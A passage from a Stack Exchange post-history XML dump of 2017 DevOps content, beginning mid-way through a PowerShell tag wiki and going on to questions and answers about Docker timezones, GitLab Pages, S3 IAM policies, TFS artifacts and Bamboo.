5/9&#xD;&#xA;    37&#xD;&#xA;&#xD;&#xA;    # Production orientation allows experimentation and confirmation&#xD;&#xA;    C:\PS&gt; Get-ChildItem C:\Users\John *.bak -r | &#xD;&#xA;               Where {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |&#xD;&#xA;               Remove-Item -WhatIf&#xD;&#xA;    What if: Performing operation &quot;Remove File&quot; on Target &quot;C:\Users\John\foo.bak&quot;&#xD;&#xA;    &#xD;&#xA;    C:\PS&gt; Get-Process iexp* | Stop-Process -Confirm&#xD;&#xA;&#xD;&#xA;    Confirm&#xD;&#xA;    Are you sure you want to perform this action?&#xD;&#xA;    Performing operation &quot;Stop-Process&quot; on Target &quot;iexplore (7116)&quot;.&#xD;&#xA;    [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is Y):&#xD;&#xA;&#xD;&#xA;**Common Gotchas**&#xD;&#xA;&#xD;&#xA;Executing EXEs via a path with spaces requires quoting the path and the use of the call operator - `&amp;`&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; &amp; 'C:\Program Files\Windows NT\Accessories\wordpad.exe'&#xD;&#xA;&#xD;&#xA;Calling PowerShell functions does not require parenthesis or comma separated arguments.  PowerShell functions should be called just like a cmdlet.  The following examples demonstrates the problem caused by this issue e.g.:&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; function Greet($fname, $lname) {&quot;My name is '$lname', '$fname' '$lname'&quot;}&#xD;&#xA;    C:\PS&gt; Greet('James','Bond') # Wrong way to invoke this function!!&#xD;&#xA;    My name is '', 'James Bond' ''&#xD;&#xA;&#xD;&#xA;Note that both 'James' and 'Bond' are packaged up as a single argument (an array) that is passed to the first parameter.  The correct invocation is:&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; Greet James Bond&#xD;&#xA;    My name is 'Bond', 'James' 'Bond'&#xD;&#xA;&#xD;&#xA;Note that in PowerShell 2.0, the use of `Set-StrictMode -version 2.0` will catch this type of problem.&#xD;&#xA;&#xD;&#xA;**Extensible functionalities**&#xD;&#xA;&#xD;&#xA;One of the great features of powershell is its extensibility: &#xD;&#xA;we can add functionality by importing modules which are package of cmdlets, functions and aliases specialised on a particular domain (such as database administration, virtual machine administration etc.).&#xD;&#xA;&#xD;&#xA;Here are the most commonly used modules by the community :&#xD;&#xA;&#xD;&#xA; - [PSReadLine][18]&#xD;&#xA;[![PSReadLine replaces the command line editing experience in PowerShell.exe ][7]][7] &#xD;&#xA; &quot;PSReadLine replaces the command line editing experience in PowerShell.exe for versions 3 and up.&quot; Included in Windows 10.&#xD;&#xA;&#xD;&#xA; - [Powertab][9]  &#xD;&#xA; &quot;PowerTab offers enhanced tab expansion for PowerShell.&quot; &#xD;&#xA; - [PSCX][10]  &#xD;&#xA; &quot;PowerShell Community Extensions (PSCX) is aimed at providing a widely useful set of additional cmdlets, providers, aliases, filters, functions and scripts for Windows PowerShell that members of the community have expressed interest in but haven't been added to PowerShell yet.&quot; &#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [Microsoft Windows PowerShell Home][11]&#xD;&#xA; - [Windows PowerShell Team Blog][12]&#xD;&#xA; - [MSDN Windows PowerShell][13]&#xD;&#xA; - [PowerShell Code Repository][14]&#xD;&#xA; - [New features in Powershell version 3][15]&#xD;&#xA; - [New features in Powershell version 4][16]&#xD;&#xA; - [New features in Powershell version 5][17]&#xD;&#xA; - [PowerShell Wikipedia Article][18]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://technet.microsoft.com/en-us/library/bb978526.aspx&#xD;&#xA;  [2]: https://technet.microsoft.com/en-us/library/dd819514.aspx&#xD;&#xA;  [3]: https://technet.microsoft.com/en-us/library/hh857337.aspx&#xD;&#xA;  [6]: https://www.sapien.com/software/primalscript&#xD;&#xA;  [7]: http://i.stack.imgur.com/AT4xc.png&#xD;&#xA;  [9]: https://powertab.codeplex.com/&#xD;&#xA;  [10]: http://pscx.codeplex.com/&#xD;&#xA;  [11]: https://technet.microsoft.com/en-us/scriptcenter/powershell.aspx&#xD;&#xA;  [12]: https://blogs.msdn.com/b/powershell/&#xD;&#xA;  [13]: https://msdn.microsoft.com/en-us/library/dd835506%28v=VS.85%29.aspx&#xD;&#xA;  [14]: http://poshcode.org/&#xD;&#xA;  [15]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_wps3&#xD;&#xA;  [16]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_wps4&#xD;&#xA;  [17]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_new50&#xD;&#xA;  [18]: https://en.wikipedia.org/wiki/PowerShell&#xD;&#xA;  [19]: https://github.com/lzybkr/PSReadLine" ContentLicense="CC BY-SA 3.0" />
  <row Id="5213" PostHistoryTypeId="24" PostId="1631" RevisionGUID="579dbbd6-5c10-4285-bac2-3241e8f7accd" CreationDate="2017-07-31T10:46:22.563" Comment="Proposed by 735 approved by 40, 46 edit id of 387" ContentLicense="CC BY-SA 3.0" />
  <row Id="5214" PostHistoryTypeId="5" PostId="1632" RevisionGUID="b71cc294-c850-41b0-8459-49227aee8492" CreationDate="2017-07-31T10:46:25.830" UserId="735" Comment="added 72 characters in body" Text="PowerShell is a command line and scripting utility for use with Windows." ContentLicense="CC BY-SA 3.0" />
  <row Id="5215" PostHistoryTypeId="24" PostId="1632" RevisionGUID="b71cc294-c850-41b0-8459-49227aee8492" CreationDate="2017-07-31T10:46:25.830" Comment="Proposed by 735 approved by 40, 46 edit id of 388" ContentLicense="CC BY-SA 3.0" />
  <row Id="5216" PostHistoryTypeId="2" PostId="1635" RevisionGUID="35b63cd2-4236-43d0-84f9-d9341531e8c6" CreationDate="2017-07-31T10:49:42.113" UserId="3178" Text="I have seen many workarounds for this to run systemd inside docker containers but looks like most of them compromise the security of the container and the host. How are most people here dealing with running systemd specific stuff inside the container. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5217" PostHistoryTypeId="1" PostId="1635" RevisionGUID="35b63cd2-4236-43d0-84f9-d9341531e8c6" CreationDate="2017-07-31T10:49:42.113" UserId="3178" Text="Is there any concrete and acceptable solution for running systemd inside the docker container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5218" PostHistoryTypeId="3" PostId="1635" RevisionGUID="35b63cd2-4236-43d0-84f9-d9341531e8c6" CreationDate="2017-07-31T10:49:42.113" UserId="3178" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5219" PostHistoryTypeId="5" PostId="1606" RevisionGUID="a8f95a29-1ff3-46f2-a823-812b165e5a7c" CreationDate="2017-07-31T10:59:43.130" UserId="3670" Comment="add log file output" Text="I am experiencing weird behavior with the Pages feature of GitLab Omnibus package running on an Ubuntu 16.04 virtual machine. Some projects use Pages with Jekyll built by GitLab CI, which has been working as expected since it was first published with Gitlab CE.&#xD;&#xA;&#xD;&#xA;For a couple of days now, visiting any of the homepages of those sites shows the content of just one of the projects. Here are some examples: [summerschool](https://summerschool.vgiscience.org), [www](https://www.vgiscience.org), [ad](https://ad.vgiscience.org) and [ml](https://ml.vgiscience.org). Each of them should of course show different content, but they all show the same. Even stranger: the content shown on each of the sites changes over time to one of the other projects, and I can not see whether this is deterministic.&#xD;&#xA;&#xD;&#xA;Restarting the build processes of each of the projects did not fix this, neither did `gitlab-ctl reconfigure`, `stop` and `start`, nor rebooting the entire VM.&#xD;&#xA;&#xD;&#xA;To investigate on that issue, I edited (which I assume is) the resulting file of the build process at `/var/opt/gitlab/gitlab-rails/shared/pages/ml/ml.vgiscience.org/public/index.html`. Not in the first place, but later on during the already stated &quot;rotating&quot; content, the edits showed up on the webpage.&#xD;&#xA;&#xD;&#xA;So what is going on there? Is this some caching issue? Is it malconfiguration? Is it a bug? Please help me find and fix the problem, as those are production websites, and my boss is returning from vacation next monday…&#xD;&#xA;&#xD;&#xA;/edit: in `/var/log/gitlab/nginx/gitlab_pages_error.log` it keeps saying&#xD;&#xA;&#xD;&#xA;    2017/07/31 12:48:46 [error] 11949#0: *54 connect() failed (111: Connection refused) while connecting to upstream, client: xxx.xxx.xxx.xxx, server: ~^(?&lt;group&gt;.*)\.vgiscience\.org$, request: &quot;GET /favicon.ico HTTP/2.0&quot;, upstream: &quot;http://[::1]:8090/favicon.ico&quot;, host: &quot;www.vgiscience.org&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5225" PostHistoryTypeId="2" PostId="1637" RevisionGUID="665dc702-0c62-4741-81ad-982360e941d7" CreationDate="2017-07-31T15:42:51.197" UserId="3730" Text="I've got a local application working using `docker-compose up`, this gets me the servers I need and they function just fine locally.&#xD;&#xA;&#xD;&#xA;Now I've tried getting a `build.sh` started, but I can't figure out how to build a docker image using either `docker-compose` or just regular `docker-cli` with the final result of the build process. (The `/dist/` folder).&#xD;&#xA;&#xD;&#xA;Could somebody explain to me how a regular process like this would look like, and what steps a build process would walk through in docker terms?&#xD;&#xA;Would I need a seperate command to package it for deployment? Is there a separate configuration required? " ContentLicense="CC BY-SA 3.0" />
  <row Id="5226" PostHistoryTypeId="1" PostId="1637" RevisionGUID="665dc702-0c62-4741-81ad-982360e941d7" CreationDate="2017-07-31T15:42:51.197" UserId="3730" Text="Getting a docker build ready for (Heroku) deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5227" PostHistoryTypeId="3" PostId="1637" RevisionGUID="665dc702-0c62-4741-81ad-982360e941d7" CreationDate="2017-07-31T15:42:51.197" UserId="3730" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5229" PostHistoryTypeId="2" PostId="1638" RevisionGUID="5de24b2f-064c-48e0-86d1-4706cd3e80d4" CreationDate="2017-07-31T18:10:56.163" UserId="2845" Text="Amazon's IAM roles generally grant a role access to a particular ARN (Amazon Resource Name). Amazon notes [on their pages](http://docs.aws.amazon.com/AmazonS3/latest/dev/s3-arn-format.html) that for S3 a resource&#xD;&#xA;&#xD;&#xA;&gt;...can be a bucket-name or a bucket-name/object-key.&#xD;&#xA;&#xD;&#xA;[They also provide a helpful example for doing just this](https://aws.amazon.com/blogs/security/writing-iam-policies-how-to-grant-access-to-an-amazon-s3-bucket/) which appears as follows:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&quot;s3:ListBucket&quot;],&#xD;&#xA;          &quot;Resource&quot;: [&quot;arn:aws:s3:::test&quot;]&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&#xD;&#xA;            &quot;s3:PutObject&quot;,&#xD;&#xA;            &quot;s3:GetObject&quot;,&#xD;&#xA;            &quot;s3:DeleteObject&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;Resource&quot;: [&quot;arn:aws:s3:::test/*&quot;]&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="5230" PostHistoryTypeId="2" PostId="1639" RevisionGUID="e09f3304-a900-48f8-a727-1afb338be6c0" CreationDate="2017-07-31T18:54:34.533" UserId="3732" Text="We had been using a TFS build process that copies build output to some fileshare for later use. But with TFS 2017 we want to use that fancy &quot;Publish Artifacts&quot; build stage that has the TFS server provide a .zip file of the artifacts via the RESTful API. &#xD;&#xA;&#xD;&#xA;But now I want to be careful about where all these build artifacts are going to be stored and what disk space to keep an eye on. Do these build artifacts just become massive binary blobs in the SQL database that TFS uses? Can we configure what location TFS uses to hang onto these artifacts? Most documentation I've found just describes the artifacts from an external perspective with the implementation abstracted away. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5231" PostHistoryTypeId="1" PostId="1639" RevisionGUID="e09f3304-a900-48f8-a727-1afb338be6c0" CreationDate="2017-07-31T18:54:34.533" UserId="3732" Text="Where does TFS 2017 actually store artifacts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5232" PostHistoryTypeId="3" PostId="1639" RevisionGUID="e09f3304-a900-48f8-a727-1afb338be6c0" CreationDate="2017-07-31T18:54:34.533" UserId="3732" Text="&lt;artifacts&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5233" PostHistoryTypeId="2" PostId="1640" RevisionGUID="389b57be-4241-4a93-8f8a-183b047a969f" CreationDate="2017-08-01T05:49:39.487" UserId="3178" Text="I have created a docker image from the base Centos7 image and while running the container from it, the time and timezone were not in sync with my host. To give the container the same timezone as that of the host. I mounted /etc/timezone and /etc/localtime from the host to the container using the '-v' argument while running the container. After running the container with this, this is what i get inside the container and host:&#xD;&#xA;&#xD;&#xA;For docker container running timedatectl: [root@d7a24c723f6a /]# timedatectl Local time: Tue 2017-08-01 10:28:30 IST Universal time: Tue 2017-08-01 04:58:30 UTC RTC time: n/a Time zone: UTC (IST, +0530) NTP enabled: n/a NTP synchronized: no RTC in local TZ: no&#xD;&#xA;&#xD;&#xA;For host running timedatectl: [root@indiadev72 ~]# timedatectl Local time: Tue 2017-08-01 10:27:29 IST Universal time: Tue 2017-08-01 04:57:29 UTC RTC time: Tue 2017-08-01 04:57:29 Time zone: Asia/Kolkata (IST, +0530) NTP enabled: yes NTP synchronized: no RTC in local TZ: no DST active: n/a&#xD;&#xA;&#xD;&#xA;I am not sure why my docker container is not able to take the timezone of the host.&#xD;&#xA;&#xD;&#xA;EDIT: Also while running some of my test cases, i am able to see that the application is reading timezoneid as 'GMT+530' instead of Asia/Kolkata. While GMT+530 is indeed Asia/Kolkata but due the timezone ID mismatch inside the container my test cases are failing. Maybe its just the timezoneID issue and the container is picking up the correct time. Can someone please help here?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5234" PostHistoryTypeId="1" PostId="1640" RevisionGUID="389b57be-4241-4a93-8f8a-183b047a969f" CreationDate="2017-08-01T05:49:39.487" UserId="3178" Text="Incorrect timezoneID inside docker container" ContentLicense="CC BY-SA 3.0" />
  <row Id="5235" PostHistoryTypeId="3" PostId="1640" RevisionGUID="389b57be-4241-4a93-8f8a-183b047a969f" CreationDate="2017-08-01T05:49:39.487" UserId="3178" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5236" PostHistoryTypeId="5" PostId="1640" RevisionGUID="0337a0bc-00a9-43f4-96ed-36b08b9faca1" CreationDate="2017-08-01T14:24:31.583" UserId="47" Comment="improved formatting" Text="I have created a docker image from the base Centos7 image and while running the container from it, the time and timezone were not in sync with my host. To give the container the same timezone as that of the host. I mounted /etc/timezone and /etc/localtime from the host to the container using the '-v' argument while running the container. After running the container with this, this is what i get inside the container and host:&#xD;&#xA;&#xD;&#xA;For docker container running timedatectl: &#xD;&#xA;&#xD;&#xA;&gt; [root@d7a24c723f6a /]# timedatectl Local time: Tue 2017-08-01 10:28:30&#xD;&#xA;&gt; IST Universal time: Tue 2017-08-01 04:58:30 UTC RTC time: n/a Time&#xD;&#xA;&gt; zone: UTC (IST, +0530) NTP enabled: n/a NTP synchronized: no RTC in&#xD;&#xA;&gt; local TZ: no&#xD;&#xA;&#xD;&#xA;For host running timedatectl: &#xD;&#xA;&#xD;&#xA;&gt; [root@indiadev72 ~]# timedatectl Local time: Tue 2017-08-01 10:27:29&#xD;&#xA;&gt; IST Universal time: Tue 2017-08-01 04:57:29 UTC RTC time: Tue&#xD;&#xA;&gt; 2017-08-01 04:57:29 Time zone: Asia/Kolkata (IST, +0530) NTP enabled:&#xD;&#xA;&gt; yes NTP synchronized: no RTC in local TZ: no DST active: n/a&#xD;&#xA;&#xD;&#xA;I am not sure why my docker container is not able to take the timezone of the host.&#xD;&#xA;&#xD;&#xA;EDIT: Also while running some of my test cases, i am able to see that the application is reading timezoneid as 'GMT+530' instead of Asia/Kolkata. While GMT+530 is indeed Asia/Kolkata but due the timezone ID mismatch inside the container my test cases are failing. Maybe its just the timezoneID issue and the container is picking up the correct time. Can someone please help here?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5240" PostHistoryTypeId="4" PostId="1577" RevisionGUID="347c4f09-81c3-4fb5-879a-4d29197da2e1" CreationDate="2017-08-01T18:10:24.790" UserId="2807" Comment="Enhanced title" Text="Questions about Ansible connection to remote hosts" ContentLicense="CC BY-SA 3.0" />
  <row Id="5241" PostHistoryTypeId="24" PostId="1577" RevisionGUID="347c4f09-81c3-4fb5-879a-4d29197da2e1" CreationDate="2017-08-01T18:10:24.790" Comment="Proposed by 2807 approved by 14, 3602 edit id of 389" ContentLicense="CC BY-SA 3.0" />
  <row Id="5244" PostHistoryTypeId="2" PostId="1643" RevisionGUID="ec105373-9242-4f05-b375-0532e0bbae63" CreationDate="2017-08-02T01:51:13.620" UserId="3752" Text="For building docker image using `docker-compose` you can add `build` filed to the service you want to build and assign to it the path of the `Dockerfile` for example:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;         - &quot;8080:80&quot;&#xD;&#xA;        volumes:&#xD;&#xA;         - /project:/var/www/html&#xD;&#xA;&#xD;&#xA;This example define a web service which:&#xD;&#xA;&#xD;&#xA; - Uses an image that’s built from the `Dockerfile` in the current directory.&#xD;&#xA; - Forwards the exposed port 80 on the container to port 8080 on the&#xD;&#xA;   host machine&#xD;&#xA; - Mounts the project directory on the host to `/project` inside the&#xD;&#xA;   container, allowing you to modify the code without having to rebuild&#xD;&#xA;   the image." ContentLicense="CC BY-SA 3.0" />
  <row Id="5245" PostHistoryTypeId="2" PostId="1644" RevisionGUID="349f77f3-aa56-4b9f-b619-a1c085411e14" CreationDate="2017-08-02T01:58:02.393" UserId="2979" Text="That is what gitlab does best, consider to move to gitlab, setup a kube cluster and auto deploy.&#xA;This will deploy each branch to an unique URL for testing." ContentLicense="CC BY-SA 3.0" />
  <row Id="5246" PostHistoryTypeId="2" PostId="1645" RevisionGUID="e43b5dfd-3b04-42f3-87fd-c141c7c09833" CreationDate="2017-08-02T02:01:22.387" UserId="3752" Text="The case is `dpkg-reconfigure tzdata` simply creates `/etc/localtime` as a copy, hardlink or symlink (a symlink is preferred) to a file in `/usr/share/zoneinfo`. So it is possible to do this entirely from your `Dockerfile`. Consider:&#xD;&#xA;&#xD;&#xA;    ENV TZ=Asia/Kolkata&#xD;&#xA;    RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime &amp;&amp; echo $TZ &gt; /etc/timezone&#xD;&#xA;&#xD;&#xA;And as a bonus, `TZ` will be set correctly in the container as well.&#xD;&#xA;&#xD;&#xA;This is also distribution-agnostic, so it works with pretty much anything Linux." ContentLicense="CC BY-SA 3.0" />
  <row Id="5247" PostHistoryTypeId="5" PostId="1645" RevisionGUID="4d59fc2a-cfe2-4e2f-83ac-97cb9e8919a7" CreationDate="2017-08-02T04:35:13.420" UserId="3752" Comment="added 121 characters in body" Text="The case is `dpkg-reconfigure tzdata` simply creates `/etc/localtime` as a copy, hardlink or symlink (a symlink is preferred) to a file in `/usr/share/zoneinfo`. So it is possible to do this entirely from your `Dockerfile`. Consider:&#xD;&#xA;&#xD;&#xA;    ENV TZ=Asia/Kolkata&#xD;&#xA;    RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime &amp;&amp; echo $TZ &gt; /etc/timezone&#xD;&#xA;&#xD;&#xA;And as a bonus, `TZ` will be set correctly in the container as well.&#xD;&#xA;&#xD;&#xA;This is also distribution-agnostic, so it works with pretty much anything Linux.&#xD;&#xA;&#xD;&#xA;The original answer: https://serverfault.com/questions/683605/docker-container-time-timezone-will-not-reflect-changes" ContentLicense="CC BY-SA 3.0" />
  <row Id="5248" PostHistoryTypeId="2" PostId="1646" RevisionGUID="476e4115-83f6-49e9-8c4e-292476cea023" CreationDate="2017-08-02T05:24:51.447" UserId="3752" Text="For me I use `jenkins` in docker with git plugin.&#xD;&#xA;&#xD;&#xA;The Git plugin will give you the ability to check the Git server every specific period of time or you can use git hook from github or bitbucket to trigger the task when ever any change happened to the repo or the branch.&#xD;&#xA;&#xD;&#xA;For deployment, most of time I use shell build step to execute some shell command on remote node." ContentLicense="CC BY-SA 3.0" />
  <row Id="5249" PostHistoryTypeId="2" PostId="1647" RevisionGUID="b1c9adb2-e770-4315-8373-5a781096609a" CreationDate="2017-08-02T07:10:45.657" UserId="3758" Text="Since you are looking for programmatic role creation you might consider [IAM Roles for EC2](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html). Those can be applied to EC2 instances without human intervention, and they also avoid the need to store many credentials/keys, which is always nice when using automation." ContentLicense="CC BY-SA 3.0" />
  <row Id="5251" PostHistoryTypeId="2" PostId="1649" RevisionGUID="730924a6-ed39-400b-9d12-5673e9c57fce" CreationDate="2017-08-02T11:22:04.693" UserId="707" Text="Normally, the example you start with Docker introduce environment to right more or less one app - frontend, backend, something else..&#xD;&#xA;&#xD;&#xA;Would you put all containers of a larger app  (20-30 containers and above without replicas) still to the same stack or introduce a set of stacks representing system layers? " ContentLicense="CC BY-SA 3.0" />
  <row Id="5252" PostHistoryTypeId="1" PostId="1649" RevisionGUID="730924a6-ed39-400b-9d12-5673e9c57fce" CreationDate="2017-08-02T11:22:04.693" UserId="707" Text="Limits of a singular Docker Swarm stack" ContentLicense="CC BY-SA 3.0" />
  <row Id="5253" PostHistoryTypeId="3" PostId="1649" RevisionGUID="730924a6-ed39-400b-9d12-5673e9c57fce" CreationDate="2017-08-02T11:22:04.693" UserId="707" Text="&lt;docker&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5254" PostHistoryTypeId="2" PostId="1650" RevisionGUID="62d5b657-f1ae-43e9-a0b3-da0decb86c8a" CreationDate="2017-08-02T12:36:33.740" UserId="552" Text="I would say It depend on you preference since redeploying a stack for only 1 or so image, will not restart all the containers present.&#xD;&#xA;&#xD;&#xA;In the other hand network feature since docker 17.06 are reusable between stack with the `attachable mode` so you could easily separate the layers of your app while keeping them on the same sub-network (for usage like `traefik` or private data network).&#xD;&#xA;&#xD;&#xA;Frankly for me this is the same problem as in dev when you separate the functions you are defining so it's easier for the others devs to understand a file of 50 lines compare to a file of 500 lines.&#xD;&#xA;&#xD;&#xA;In the end it also depend on how this is integrated with your CD and if it's painful to update one document or multiple document when adding/removing services.&#xD;&#xA;&#xD;&#xA;Personally I would go to multiples stack files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5256" PostHistoryTypeId="2" PostId="1651" RevisionGUID="8b2bddc8-f1a2-4acb-b1ff-cbe8ea5763d7" CreationDate="2017-08-02T14:07:52.560" UserId="707" Text="In Bamboo, you can:&#xD;&#xA;&#xD;&#xA; - clone a job&#xD;&#xA; - clone a plan&#xD;&#xA;&#xD;&#xA;Why is it not possible to clone a stage, I mean, could there be a certain reason to not have it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5257" PostHistoryTypeId="1" PostId="1651" RevisionGUID="8b2bddc8-f1a2-4acb-b1ff-cbe8ea5763d7" CreationDate="2017-08-02T14:07:52.560" UserId="707" Text="Is there a conceptual limitation to have a clone stage function in Bamboo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5258" PostHistoryTypeId="3" PostId="1651" RevisionGUID="8b2bddc8-f1a2-4acb-b1ff-cbe8ea5763d7" CreationDate="2017-08-02T14:07:52.560" UserId="707" Text="&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5260" PostHistoryTypeId="2" PostId="1652" RevisionGUID="01a721ea-536d-4589-aba3-cbd653ce9cde" CreationDate="2017-08-02T16:49:45.440" UserId="47" Text="Stages group jobs inside plans. So technically they are cloned when the respective plans are cloned.&#xD;&#xA;&#xD;&#xA;Which means that missing the ability to clone a specific stage should be just a UX/usability/functionality issue, not a conceptual one.&#xD;&#xA;&#xD;&#xA;There *might* be a non-trivial implementation details when cloning stages - they may carry inside stage sequencing information, as in &quot;pointers&quot; to the stage objects preceeding and/or following them inside the plan &quot;pipeline&quot;, which might be a bit more difficult to handle when cloning just one stage in the sequence. These would be easier to handle when cloning entire plans as the entire sequence of stages is cloned, there will always be a 1:1 relationship between the stages." ContentLicense="CC BY-SA 3.0" />
  <row Id="5261" PostHistoryTypeId="5" PostId="1572" RevisionGUID="16795d67-3a0f-418c-8e6c-a44856122ad1" CreationDate="2017-08-02T19:40:37.673" UserId="707" Comment="added 197 characters in body" Text="In Jenkins, you could configure the system to retain a certain number of either successful or failed builds.&#xD;&#xA;&#xD;&#xA;With Bamboo, it seems like you can just retain a certain number of builds which rotates the last successful build after 10 failed builds out of the system.&#xD;&#xA;&#xD;&#xA;Is there a way in Bamboo to retain the last successful build for an unlimited time?&#xD;&#xA;&#xD;&#xA;UPD wait, but is that true with the 10 builds limitation, really?&#xD;&#xA;I have just realized that I could click the UI through the whole build history, both successful and unsuccessful builds.&#xD;&#xA;http://imgur.com/a/JnJ9v&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5265" PostHistoryTypeId="2" PostId="1654" RevisionGUID="f54c6b73-cc40-4270-b557-f03e47dfdbcd" CreationDate="2017-08-03T08:25:45.050" UserId="3774" Text="We have a Bamboo server running in the cloud and we would like to connect the machine that is in our local network. The problem is that this PC only has access to proxy that has only port 80 available and company would not allow to open any ports.&#xD;&#xA;&#xD;&#xA;We want to avoid setting up new Bamboo instance in our local network." ContentLicense="CC BY-SA 3.0" />
  <row Id="5266" PostHistoryTypeId="1" PostId="1654" RevisionGUID="f54c6b73-cc40-4270-b557-f03e47dfdbcd" CreationDate="2017-08-03T08:25:45.050" UserId="3774" Text="How to connect a Bamboo remote agent from within Intranet" ContentLicense="CC BY-SA 3.0" />
  <row Id="5267" PostHistoryTypeId="3" PostId="1654" RevisionGUID="f54c6b73-cc40-4270-b557-f03e47dfdbcd" CreationDate="2017-08-03T08:25:45.050" UserId="3774" Text="&lt;continuous-integration&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5268" PostHistoryTypeId="5" PostId="1650" RevisionGUID="cc12c0bd-00ed-48de-8db0-6e8185656e54" CreationDate="2017-08-03T09:18:07.223" UserId="552" Comment="added 2 characters in body" Text="I would say It depend on you preference since redeploying a stack for only 1 or so image, will not restart all the containers present.&#xD;&#xA;&#xD;&#xA;In the other hand network feature since docker 17.06 are reusable between stack with the `attachable mode` so you could easily separate the layers of your app while keeping them on the same sub-network (for usage like `traefik` or private data network).&#xD;&#xA;&#xD;&#xA;Frankly for me this is the same problem as in dev when you separate the functions you are defining so it's easier for the others devs to understand a file of 50 lines compare to a file of 500 lines.&#xD;&#xA;&#xD;&#xA;In the end it also depend on how this is integrated with your CD and if it's painful to update one document or multiple document when adding/removing services.&#xD;&#xA;&#xD;&#xA;Personally I would go with multiples stack files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5270" PostHistoryTypeId="2" PostId="1655" RevisionGUID="173a06ed-ee4e-4a15-b1df-dbc784e02ee6" CreationDate="2017-08-03T13:59:32.777" UserId="3775" Text="I'm trying to implement [this][1] pre-cooked package of NGINX, PHP-FPM, MySQL, E-L-K.&#xD;&#xA;&#xD;&#xA;Everything is working fine but the connection with the database. It throws a ConnectionException.&#xD;&#xA;&#xD;&#xA;I'm not really sure if the program should try to access *172.18.0.4* instead of *172.18.0.3*, and where does this configuration comes from.&#xD;&#xA;&#xD;&#xA;**The IPs of my containers are:**&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_elk_1 - 172.18.0.2&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_nginx_1 - 172.18.0.5&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_php_1 - 172.18.0.3&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_db_1 - 172.18.0.4&#xD;&#xA;&#xD;&#xA;**The error:**&#xD;&#xA;&#xD;&#xA;&gt; [Doctrine\DBAL\Exception\ConnectionException]                                                                            &#xD;&#xA;  An exception occured in driver: SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.18.0.3' (using password: YES)&#xD;&#xA;&#xD;&#xA;What could be happenning? Is there a way to check a mysql connection manually?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/maxpou/docker-symfony" ContentLicense="CC BY-SA 3.0" />
  <row Id="5271" PostHistoryTypeId="1" PostId="1655" RevisionGUID="173a06ed-ee4e-4a15-b1df-dbc784e02ee6" CreationDate="2017-08-03T13:59:32.777" UserId="3775" Text="Can't connect to my dockerized MySQL" ContentLicense="CC BY-SA 3.0" />
  <row Id="5272" PostHistoryTypeId="3" PostId="1655" RevisionGUID="173a06ed-ee4e-4a15-b1df-dbc784e02ee6" CreationDate="2017-08-03T13:59:32.777" UserId="3775" Text="&lt;docker&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 3.0" />
